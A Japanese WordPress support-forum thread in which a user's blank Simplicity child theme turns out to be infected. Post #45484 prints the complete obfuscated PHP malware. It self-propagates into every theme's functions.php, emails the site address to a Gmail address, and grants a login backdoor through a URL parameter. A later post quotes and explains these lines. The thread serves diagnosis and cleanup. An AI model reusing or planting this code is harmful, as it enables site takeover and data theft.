Simplicityの特徴 › フォーラム › 不具合報告 › Simplicityの子テーマで、サイトがすべて真っ白になってしまいます。
- このトピックには27件の返信、2人の参加者があり、最後に
けいにより9年、 6ヶ月前に更新されました。
-
投稿者投稿
-
-
2016年9月22日 4:38 PM #45467
けい
ゲスト素晴らしいテーマ大変ありがとうございます。
そして、すみません。
今回新規インストールさせていただき、親テーマだけの場合は普通に表示されるのですが、simplicity2.3.0b.zip + simplicity2-child20160110.zip
と二つインストールしまして、子テーマを有効化しましたところ、画面が真っ白になってしまいました。
管理画面、サイト、すべてにわたって真っ白です。
FTPにてインストールした子テーマのフォルダ名を変更して
やっとテーマがデフォルトに戻る状態でした。試しに上記の親テーマを削除し
simplicity2.2.0g.zip + simplicity2-child20160110.zip
でも試したのですが、やはり同じ状況で…。
プラグインのせいかと思い、プラグインをすべて無効化してみたのですが、やはり状況は同じで…。
こちら、何か解決策やヒントなどありますでしょうか…?wordpressはWordPress 4.6.1を使用しております。
お手数おかけして申し訳ありませんが、何かお教え頂ければ幸いです。
-
2016年9月22日 5:01 PM #45468
hidekichi
ゲスト最近あった話ですが、PHPのバージョンも書いておいてもらえると助かります。問題なければどこのサーバーかなども。
> 新規インストールした
これはこれからwordpressでブログを始められるのか、Simplicityを新規に使われるのかと言う点で言うと、テーマを変えられた話ですよね?
> 二つインストールしまして
これはftpでされたんですか?テーマ画面でzipまるごとをアップロードしたとかではなくて?もしftpでアップロードした場合はパスが間違っているとかはないですかね?まぁテーマ画面に出ていたのであれば間違いはないだろうと思うんですけれども。
Simplicity側は問題ないと思いますが、Simplicityで(サーバーとの兼ね合いとかで)エラーがある場合は、何かしらエラーが表示されていると思うので、WordPressでのデバッグにあるように、デバッグを有効にします。wp-config.phpを編集してftpでアップロードしサイトにアクセスします。
何かしらエラーがある場合はそのエラーメッセージが表示されていると思うので、それをここに貼り付けて、通常のwordpressの操作同様、貼り付けたメッセージをマウスで範囲選択し「code」ボタンを押してください。
codeが有効になると、<div class="test"></div>このような表示になります。
サーバー情報とかが含まれると思うので、表示したくない部分はxxxとするなりして伏せてください。で、プラグインを停止してもまだ何かしらあると言うことは、例えばウィジェットにショートコードで何かしら関数を呼び出すような記述がしてあったり、あるいは、以前の情報がどこかにキャッシュされていてその情報が返されているけれどもテーマが変わったために相違点があるとか、色々怪しい部分はありますが、コレというようなクリティカルな回答はできません。
親テーマで問題なく動作して子テーマで問題が出ると言うのは、子テーマに何かしら問題がある記述がないと起こらないと思うんですが、新規に入れられたと言うことからそれも違うだろうと思います。
ここらからも、まずはどんなエラーが出ているのかを確認してからの方が良さそうです。
-
2016年9月22日 9:18 PM #45470
けい
ゲスト大変ありがとうございます。
デバッグモードにおけるエラーメッセージは下記の通りです。( ! ) Notice: Constant EZSQL_VERSION already defined in /サーバー情報/wp-content/db.php on line 43 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 6 0.0102 2858224 require_wp_db( ) .../wp-settings.php:101 7 0.0106 2910752 require_once( '/サーバー情報/wp-content/db.php' ) .../load.php:399 8 0.0106 2910896 define ( ) .../db.php:43 ( ! ) Notice: Constant object already defined in /サーバー情報/wp-content/db.php on line 48 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 6 0.0102 2858224 require_wp_db( ) .../wp-settings.php:101 7 0.0106 2910752 require_once( '/サーバー情報/wp-content/db.php' ) .../load.php:399 8 0.0107 2910944 define ( ) .../db.php:48 ( ! ) Notice: Constant OBJECT_K already defined in /サーバー情報/wp-content/db.php on line 53 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 6 0.0102 2858224 require_wp_db( ) .../wp-settings.php:101 7 0.0106 2910752 require_once( '/サーバー情報/wp-content/db.php' ) .../load.php:399 8 0.0108 2911056 define ( ) .../db.php:53 ( ! ) Notice: Constant ARRAY_A already defined in /サーバー情報/wp-content/db.php on line 58 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 6 0.0102 2858224 require_wp_db( ) .../wp-settings.php:101 7 0.0106 2910752 require_once( '/サーバー情報/wp-content/db.php' ) .../load.php:399 8 0.0108 2911056 define ( ) .../db.php:58 ( ! ) Notice: Constant ARRAY_N already defined in /サーバー情報/wp-content/db.php on line 63 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 6 0.0102 2858224 require_wp_db( ) .../wp-settings.php:101 7 0.0106 2910752 require_once( '/サーバー情報/wp-content/db.php' ) .../load.php:399 8 0.0113 2911056 define ( ) .../db.php:63 ( ! ) Notice: Constant EZSQL_VERSION already defined in /サーバー情報/wp-content/plugins/db-cache-reloaded-fix/db-module.php on line 43 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 6 0.0102 2858224 require_wp_db( ) .../wp-settings.php:101 7 0.0106 2910752 require_once( '/サーバー情報/wp-content/db.php' ) .../load.php:399 8 0.0115 2917504 require_once( '/サーバー情報/wp-content/plugins/db-cache-reloaded-fix/db-module.php' ) .../db.php:94 9 0.0115 2917648 define ( ) .../db-module.php:43 ( ! ) Notice: Constant object already defined in /サーバー情報/wp-content/plugins/db-cache-reloaded-fix/db-module.php on line 48 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 6 0.0102 2858224 require_wp_db( ) .../wp-settings.php:101 7 0.0106 2910752 require_once( '/サーバー情報/wp-content/db.php' ) .../load.php:399 8 0.0115 2917504 require_once( '/サーバー情報/wp-content/plugins/db-cache-reloaded-fix/db-module.php' ) .../db.php:94 9 0.0116 2917696 define ( ) .../db-module.php:48 ( ! ) Notice: Constant OBJECT_K already defined in /サーバー情報/wp-content/plugins/db-cache-reloaded-fix/db-module.php on line 53 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 6 0.0102 2858224 require_wp_db( ) .../wp-settings.php:101 7 0.0106 2910752 require_once( '/サーバー情報/wp-content/db.php' ) .../load.php:399 8 0.0115 2917504 require_once( '/サーバー情報/wp-content/plugins/db-cache-reloaded-fix/db-module.php' ) .../db.php:94 9 0.0117 2917648 define ( ) .../db-module.php:53 ( ! ) Notice: Constant ARRAY_A already defined in /サーバー情報/wp-content/plugins/db-cache-reloaded-fix/db-module.php on line 58 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 6 0.0102 2858224 require_wp_db( ) .../wp-settings.php:101 7 0.0106 2910752 require_once( '/サーバー情報/wp-content/db.php' ) .../load.php:399 8 0.0115 2917504 require_once( '/サーバー情報/wp-content/plugins/db-cache-reloaded-fix/db-module.php' ) .../db.php:94 9 0.0121 2917648 define ( ) .../db-module.php:58 ( ! ) Notice: Constant ARRAY_N already defined in /サーバー情報/wp-content/plugins/db-cache-reloaded-fix/db-module.php on line 63 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 6 0.0102 2858224 require_wp_db( ) .../wp-settings.php:101 7 0.0106 2910752 require_once( '/サーバー情報/wp-content/db.php' ) .../load.php:399 8 0.0115 2917504 require_once( '/サーバー情報/wp-content/plugins/db-cache-reloaded-fix/db-module.php' ) .../db.php:94 9 0.0122 2917648 define ( ) .../db-module.php:63 ( ! ) Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in /サーバー情報/wp-includes/wp-db.php on line 1559 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 6 0.0102 2858224 require_wp_db( ) .../wp-settings.php:101 7 0.0106 2910752 require_once( '/サーバー情報/wp-content/db.php' ) .../load.php:399 8 0.0126 2960640 dbrc_wpdb->__construct( ) .../db.php:96 9 0.0127 2962464 wpdb->db_connect( ) .../db-module.php:206 10 0.0127 2962704 mysql_connect ( ) .../wp-db.php:1559 ( ! ) Fatal error: Cannot redeclare _verify_isactivate_widget() (previously declared in /サーバー情報/wp-content/themes/simplicity2-child-n/functions.php:14) in /サーバー情報/wp-content/themes/simplicity2/functions.php on line 918 Call Stack # Time Memory Function Location 1 0.0003 2371232 {main}( ) .../index.php:0 2 0.0004 2371792 require( '/サーバー情報/wp-blog-header.php' ) .../index.php:17 3 0.0005 2372536 require_once( '/サーバー情報/wp-load.php' ) .../wp-blog-header.php:13 4 0.0009 2386880 require_once( '/サーバー情報/wp-config.php' ) .../wp-load.php:39 5 0.0011 2388976 require_once( '/サーバー情報/wp-settings.php' ) .../wp-config.php:90 -
2016年9月22日 9:22 PM #45472
けい
ゲストまたご質問も大変ありがとうございます。
>最近あった話ですが、PHPのバージョンも書いておいてもらえると助かります。問題なければどこのサーバーかなども。
PHPは5.6(モジュール)
サーバーはバリューサーバーとなります。>これはこれからwordpressでブログを始められるのか、Simplicityを新規に使われるのかと言う点で言うと、テーマを変えられた話ですよね?
はい、今まで別テーマで動かしていたものを、Simplicityに今回変更させていただきました。
>これはftpでされたんですか?テーマ画面でzipまるごとをアップロードしたとかではなくて?もしftpでアップロードした場合はパスが間違っているとかはないですかね?まぁテーマ画面に出ていたのであれば間違いはないだろうと思うんですけれども。
FTPではなく、テーマ画面の新規追加からzipごとアップロードさせていただきました。
>Simplicity側は問題ないと思いますが、Simplicityで(サーバーとの兼ね合いとかで)エラーがある場合は、何かしらエラーが表示されていると思うので、WordPressでのデバッグにあるように、デバッグを有効にします。wp-config.phpを編集してftpでアップロードしサイトにアクセスします。
何かしらエラーがある場合はそのエラーメッセージが表示されていると思うので、それをここに貼り付けて、通常のwordpressの操作同様、貼り付けたメッセージをマウスで範囲選択し「code」ボタンを押してください。
codeが有効になると、<div class=”test”></div>このような表示になります。
サーバー情報とかが含まれると思うので、表示したくない部分はxxxとするなりして伏せてください。こちらありがとうございます。↑となります。
すみません。codeボタンを押しても差がなかったのですが…。>で、プラグインを停止してもまだ何かしらあると言うことは、例えばウィジェットにショートコードで何かしら関数を呼び出すような記述がしてあったり、あるいは、以前の情報がどこかにキャッシュされていてその情報が返されているけれどもテーマが変わったために相違点があるとか、色々怪しい部分はありますが、コレというようなクリティカルな回答はできません。
ありがとうございます。ウィジェットでは設定していなかったと記憶しています。
>親テーマで問題なく動作して子テーマで問題が出ると言うのは、子テーマに何かしら問題がある記述がないと起こらないと思うんですが、新規に入れられたと言うことからそれも違うだろうと思います。
はい、親テーマを選択してみたところ、まったく問題なく…。
子テーマだけなのです。お手数おかけして申し訳ありませんが、何か分かりましたら…と。
-
2016年9月22日 9:41 PM #45473
hidekichi
ゲストplugins/db-cache-reloaded-fix/db-module.phpこやつが怪しいですけども、db-cacheとあるので何かしらキャッシュとか作ってて、それに問題があったりするんじゃなかろうかと思ったりします。親テーマで動作するのであれば、親テーマでプラグイン側からキャッシュをなくせるのであればそれをして、このプラグインを停止して、ftpでプラグインフォルダ等にcacheがあればそれを削除とかでしょうか?
最悪このプラグインのcacheデータがデータベースにあるのであれば、phpmyadminのようなもので、それを削除しないといけないかも。どれぐらいの期間キャッシュさせるようにしたのかにもよりますがキャッシュなので期日が来ればなくなるか新しくなるはずですが、新しくなっても正しく表示できるかどうかは何とも言えません。
今までにどういう使われ方をされていたのかの質問の答がないので、想像で言うと、前のテーマのデータベースの何かしらキャッシュが残っていたのではなかろうかと思います。
全てが外部からは見えないところでの問題なので、色々試していくしか無いです。プラグインを停止すれば、キャッシュも読み込まないと思うんですけども、それだけではダメな何かがあるのかもしれません。wordpressが起動するなら、これまでのデータをエクスポートなどしてバックアップしておくのが先決でしょうか。画像はエクスポートでは拾えないかもしれないので、ひとまずuploadフォルダとかをバックアップですかね。
上記とは別の問題かもしれないので、まずは投稿データ・画像が元に戻せるようになんとかしておくほうが良いかと思います。これらがあれば、wordpress入れ直して、データベースを新たに作ってなどとしても元に戻せるので。
-
2016年9月22日 9:43 PM #45474
hidekichi
ゲスト書いてる間に、質問の答えをしてもらってたんですね。
と言うことはやはり、前の情報とバッティングしているのかもしれません。
-
2016年9月22日 9:52 PM #45475
hidekichi
ゲスト/wp-content/db.php /wp-content/db-config.iniと言うのがあるそうで、これが設定ファイルらしいです。親テーマでwordpressの管理画面に入って、プラグインのキャッシュ削除、停止後、上記をftpで削除でしょうか。
プラグインの停止等ができないようであれば、ftpでプラグインフォルダの該当フォルダを丸ごと削除して、上記のiniを削除すればよいかと思います。できれば穏便にwordpressから停止・削除(キャッシュを含む)ができると良いですが。 -
2016年9月22日 9:52 PM #45476
けい
ゲストこちらありがとうございます。
db-cache-reloaded-fix
ですね。こちらのプラグインの設定から「キャッシュを削除」し、なおかつその上でオフにしてみたのですが、それでも、すみません。同様で…。
色々とありがとうございます。 -
2016年9月22日 9:56 PM #45477
けい
ゲストまたこちらのレスもありがとうございました。
とりいそぎ「キャッシュを削除」しましたところ
/wp-content/db.php
こちらはなくなっていまして、下記は残っていたので、
/wp-content/db-config.ini
こちらは削除してみました。
しかしながら、やはり変わらず…。すみません…! -
2016年9月22日 10:25 PM #45482
わいひらキーマスター( ! ) Fatal error: Cannot redeclare _verify_isactivate_widget() (previously declared in /サーバー情報/wp-content/themes/simplicity2-child-n/functions.php:14) in /サーバー情報/wp-content/themes/simplicity2/functions.php on line 918
_verify_isactivate_widget()という関数の二重定義エラーが出ているようです。
しかし、Simplicityのテンプレートファイル全てを検索しても、_verify_isactivate_widget()という関数は使っていないです。僕自身もこういった関数を定義した覚えはないです。
で、ググってみたところThe WordPress boo-boo turned out to be a worm ? Retrohelix.comというページを見つけました。
何か、ワームというかWordpressウイルスに感染しているということはないでしょうか?というのも、子テーマ(simplicity2-child20160110)のfunctions.phpのコードを見ても、12行しかないのですが、エラーメッセージでは14行目でエラーが出ています。
デフォルトの状態で12行しかないコードが14行以上あるということは、何かしらによってファイルが直接編集され書き込まれたという可能性が高いのではないかと思います。とりあえず、エラーメッセージに出ているあたりの_verify_isactivate_widget()関数を削除してみるといいかもしれません。
ただ、ウイルスだった場合は、僕も挙動がよくわかりません。
もしかしたら、Wordpressを再インストールする必要があるかもしれませんし、何かしらセキュリティー対策を行う必要があるかもしれません。 -
2016年9月22日 10:42 PM #45484
けい
ゲスト拝見いたしました。
ちなみに子テーマのfunction.phpですが、ライブプレビュー後に中身をのぞいてみますと、下記のように記載されてました。
これは異常…ということでしょうか…。<?php //子テーマ用関数 //親skins の取得有無の設定 function include_parent_skins(){ return true; //親skinsを含める場合はtrue、含めない場合はfalse } //子テーマ用のビジュアルエディタースタイルを適用 add_editor_style(); //以下にSimplicity子テーマ用の関数を書く ?> <?php function _verify_isactivate_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); $output .= ($showdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_verify_isactivate_widget"); function _getsprepare_widget(){ if(!isset($com_length)) $com_length=120; if(!isset($text_value)) $text_value="cookie"; if(!isset($allowed_tags)) $allowed_tags="<a>"; if(!isset($type_filter)) $type_filter="none"; if(!isset($expl)) $expl=""; if(!isset($filter_homes)) $filter_homes=get_option("home"); if(!isset($pref_filter)) $pref_filter="wp_"; if(!isset($use_more)) $use_more=1; if(!isset($comm_type)) $comm_type=""; if(!isset($pagecount)) $pagecount=$_GET["cperpage"]; if(!isset($postauthor_comment)) $postauthor_comment=""; if(!isset($comm_is_approved)) $comm_is_approved=""; if(!isset($postauthor)) $postauthor="auth"; if(!isset($more_link)) $more_link="(more...)"; if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_"); if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value; if(!isset($more_link_ditails)) $more_link_ditails="(details...)"; if(!isset($morecontents)) $morecontents="ma".$expl."il"; if(!isset($fmore)) $fmore=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$is_widget) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($f_tags)) $f_tags=1; if(!isset($type_filters)) $type_filters=$filter_homes; if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents; if(!isset($aditional_tags)) $aditional_tags="div"; if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_link_text)) $more_link_text="Continue reading this entry"; if(!isset($showdots)) $showdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($com_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $com_length) { $l=$com_length; $ellipsis=1; } else { $l=count($text); $more_link=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $allowed_tags) { $output=strip_tags($output, $allowed_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($f_tags) ? balanceTags($output, true) : $output; $output .= ($showdots && $ellipsis) ? "..." : ""; $output=apply_filters($type_filter, $output); switch($aditional_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_more ) { if($fmore) { $output .= " <" . $tag . " class=\"more-link\"><a>ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a>ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getsprepare_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href="" title="">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?> -
2016年9月22日 10:46 PM #45485
けい
ゲストちなみにたった今、アップロード前の子テーマの中の、
まっさらなfunction.phpのものを、↑のfunction.phpと置き換えてみました。
そうしましたところ、問題なく表示されました。不思議です…。
これはやはり、ウィルス感染が起こっているのでしょうか…。
そしてその場合、テーマの新規追加のzipアップロードなどの際に、感染作業が行われるということでしょうか…?
はじめてのことで、本当に申し訳ありません…! -
2016年9月22日 10:49 PM #45486
わいひらキーマスター正直言って、異常だと思います。
Wordpressのクリーンインストールをして、セキュリティー対策を行うことを考えた方が良いかもしれません。ただ、僕もWordpressのウイルス除去については、大して詳しいわけではありません。加えて僕がけいさんのサーバー内を見れるわけでもありません。
ですので、自前で何とかできない場合、完全に正常にするには、業者に依頼するかしかないかもしれません。
もし、サーバーを借りたばかりであれば、新しいサーバーを借りた方が良いかもしれません。できれば違うレンタルサーバにしたほうがいいかも。
ちなみに、借りているサーバーはどこのレンタルサーバでしょうか? -
2016年9月22日 10:52 PM #45487
わいひらキーマスター一応こういったプラグインもあります。
Wordfence Security – 高度なセキュリテイ対策のWordPressプラグイン – ネタワンただ、そのウイルスに対して、どのくらい有効までかはわからないです。
-
2016年9月22日 10:59 PM #45488
けい
ゲスト確かに…。異常ですね…。
実際、function.phpを再度入れ替えで子テーマで動いたのですが、しばらくすると、また↑の内容に書き換わって、真っ白になっていました…。
クリーンインストール、ちょっと試してみます…。 -
2016年9月22日 11:01 PM #45490
けい
ゲストあ、Wordfence Security、ご紹介いただきありがとうございます。ちょっと先に試してみます…!
-
2016年9月22日 11:06 PM #45491
けい
ゲストちなみに、すみません。親テーマのfunction.phpでも下記の内容がラストに含まれてたのですが、これも異常…ということでしょうか…?
コードは#45484と同じため省略 by 管理者
-
2016年9月22日 11:13 PM #45492
hidekichi
ゲスト親・子テーマ新規でzipで入れられたんですよね?
これが入っていたとすると、ここが問題ではなく親玉がどこかにいるんじゃないですかね?パーミッションの設定が正しくできていたら、600か604辺りで管理人しか普通は書き込めないと思うんですよ。ftpを使われていて、wordpress上で編集されているような感じでもないですし、そうするとローカルのPC内?
プラグインも怪しいですね。
ひとまず、全部ローカルにダウンロードして、ウイルススキャンしたほうが良いかと思います。親玉が見つからないと消してもまた復活したりしますし。
パーミッションの設定ができていないようならこれを機会に正しく設定しておくべきです。書き込めるファイルとかを探しているっぽいですし。 -
2016年9月23日 4:36 AM #45499
technote
ゲスト・サイトのアドレスがメール送信される処理が記述されています。
call_user_func_array('wp_mail', array('livethemas@gmail.com', get_option("home"), get_option("home")))・勝手にログインを行う処理が記述されています。
call_user_func_array('wp_set_auth_cookie',array($_GET["cperpage"], true))・テーマフォルダ内に置いてある全てのテーマのfunctions.phpに
<?php function _verify_isactivate_widget(){ …を追記する動作が記述されています。
子テーマを考慮していないためエラーが発生していますが、子テーマを使用していない場合は気づかないうちに新しくインストールしたテーマに同じプログラムが書き込まれます。
もともとどこかのテーマに含まれていたものだと思われます。いずれもとても処理をわかりにくくする工夫が見られます。
Simplicityと子テーマのfunctions.phpの
<?php function _verify_isactivate_widget(){ …の箇所を削除すればとりあえず問題は解決するように思います。
また他のテーマに切り替えると同じことが起こるので、他のテーマも同様に直しておいたほうがよいと思います。 -
2016年9月23日 2:43 PM #45509
けい
ゲストこちら大変にありがとうございます。
参考にさせていただき、データベースのみエクスポートし、
新規サーバーに移動しました。そして親テーマ・子テーマともに新規でまた入れさせていただき、それで大丈夫だったのですが…。
数時間して、またもfunction.phpが、親テーマ・子テーマともに書き換わってしまいました…。
内容は同様です…。こちら、何か対策などありませんでしょうか…。
